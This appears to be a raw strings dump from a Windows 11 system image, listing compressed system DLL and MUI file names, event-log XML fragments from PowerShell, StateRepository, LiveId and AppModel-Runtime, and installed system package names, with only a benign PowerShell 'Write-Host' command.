WINDOW~1.DLL Windows.UI.Immersive.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~1.DLL $DSC WINDOW~1.DLL Windows.UI.Xaml.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Xaml.dll0 Windows.UI.Xaml.dll WofCompressedData $DSC $DSC WINDOW~1.DLL Windows.UI.Xaml.dll0 Windows.UI.Xaml.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Xaml.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Xaml.Controls.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.UI.Xaml.Controls.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Xaml.InkControls.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Xaml.InkControls.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WINDOW~1.DLL Windows.UI.Xaml.InkControls.dll $DSC $DSC WINDOW~1.DLL Windows.UI.Xaml.InkControls.dll $DSC $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WINDOW~1.DLL Windows.UI.Xaml.Maps.dll WofCompressedData $DSC WINDOW~1.DLL Windows.UI.Xaml.Maps.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL WINDOW~1.DLL Windows.UI.Xaml.Phone.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WofCompressedData $DSC WINDOW~2.DLL $DSC WINDOW~1.DLL Windows.Web.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Web.dll0 Windows.Web.dll WofCompressedData $DSC $DSC WINDOW~1.DLL Windows.Web.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Web.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Web.Diagnostics.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Web.Http.dll Windows.Web.Http.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Web.Http.dll WofCompressedData $DSC WINDOW~1.DLL Windows.Web.Http.dll Windows.Web.Http.dll WofCompressedData $DSC $DSC WINDOW~1.DLL WindowsCodecs.dll WindowsCodecs.dll WofCompressedData $DSC $DSC WofCompressedData $DSC WINDOW~1.DLL WindowsCodecsExt.dll $DSC WINDOW~1.DLL WindowsCodecsExt.dll WofCompressedData $DSC WINDOW~1.DLL WindowsCodecsExt.dll WindowsCodecsExt.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL $DSC WINDOW~1.DLL windowsudk.shellcommon.dll WofCompressedData $DSC WofCompressedData $DSC WINDOW~1.DLL WofCompressedData $DSC WINDOW~2.DLL hermes.dll hermes.dll WofCompressedData $DSC hermes.dll WofCompressedData HEVCDE~1.DLL HEVCDECODER_STORE.dll WofCompressedData HEVCDE~1.DLL HEVCDECODER_STORE.dll WofCompressedData HRTFDS~1.DLL HrtfDspCpu.dll WofCompressedData $DSC hspapi.dll hspapi.dll WofCompressedData $DSC $DSC hspapi.dll $DSC $DSC httpmib.dll0 httpmib.dll $DSC htui.dll htui.dll WofCompressedData $DSC htui.dll $DSC htui.dll htui.dll WofCompressedData $DSC HVHOST~1.DLL hvhostsvc.dll hvhostsvc.dll WofCompressedData $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name PowerShell EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Windows PowerShell Computer Windows11 Security UserID EventData Data Binary Registry Started ProviderName=Registry NewProviderState=Started SequenceNumber=1 HostName=ConsoleHost HostVersion=5.1.26100.7705 HostId=5f43a50c-e633-4882-82bf-6b8782398db6 HostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1'; EngineVersion= RunspaceId= PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine= Alias Started ProviderName=Alias NewProviderState=Started SequenceNumber=3 HostName=ConsoleHost HostVersion=5.1.26100.7705 HostId=5f43a50c-e633-4882-82bf-6b8782398db6 HostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1'; EngineVersion= RunspaceId= PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine= AMD64_~1.MUI amd64_microsoft-windows-commonlog.resources_31bf3856ad364e35_10.0.26100.1_en-us_0f4c638b630dd703_clfs.sys.mui_1310ba12 $DSC clfs.sys.mui clfs.sys.mui CLFSSY~1.MUI $DSC clusapi.dll.mui0 CLUSAP~1.MUI clusapi.dll.mui WofCompressedData $DSC cmd.exe.mui0 cmd.exe.mui0 CMDEXE~1.MUI WofCompressedData $DSC Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational EventData Data Options Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Partition ProcessId Scope Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational TimeoutMSec ElapsedTimeMSec Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Partition SchemaVersion Filename C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational ErrorCode Options MachineDatabase_Pages !MachineDatabase_PagesCheckpointed DeploymentDatabase_Pages $DeploymentDatabase_PagesCheckpointed Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational ErrorCode MachineSize_Before MachineJournalSize_Before DeploymentSize_Before DeploymentJournalSize_Before MachineSize_After MachineJournalSize_After DeploymentSize_After DeploymentJournalSize_After MaintenancePerformed Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational ProcessId Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational EventData Data Operation Details Status Service started The service will auto stop if no requests received for some period of time. 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Service started The service will auto stop if no requests received for some period of time. Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Value Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational FunctionName ErrorCode Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational ResourceURI Created Expires TokenType AuthRequired RequestStatus HasFlowUrl HasAuthUrl HasEndAuthUrl Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational WofCompressedData $DSC vfwwdm32.dll.mui WofCompressedData $DSC vid.dll.mui0 VIDDLL~1.MUI $DSC vid.dll.mui0 VIDDLL~1.MUI vid.dll.mui WofCompressedData $DSC vid.dll.mui0 VIDDLL~1.MUI WofCompressedData $DSC webthreatdefsvc.dll.mui0 WEBTHR~1.MUI webthreatdefsvc.dll.mui $DSC webthreatdefusersvc.dll.mui0 WEBTHR~1.MUI webthreatdefusersvc.dll.mui $DSC WofCompressedData $DSC wecsvc.dll.mui WofCompressedData $DSC WofCompressedData $DSC wecutil.exe.mui WofCompressedData $DSC windeploy.exe.mui WINDEP~1.MUI windeploy.exe.mui WofCompressedData $DSC WINDIA~1.MUI windiag.dll.mui0 windiag.dll.mui $DSC -windows.applicationmodel.datatransfer.dll.mui WINDOW~1.MUI windows.applicationmodel.datatransfer.dll.mui WofCompressedData $DSC WofCompressedData $DSC Windows.ApplicationModel.dll.mui Windows.ApplicationModel.dll.mui Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin EventData Data AppContainerName microsoft.windows.fontdrvhost Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin microsoft.windows.fontdrvhost Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin PackageFullName DesiredStatus CurrentStatus 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin 1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AccountsControl_10.0.26100.1_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.AssignedAccessLockApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy Microsoft-Windows-AppModel-Runtime Microsoft-Windows-AppModel-Runtime/Admin 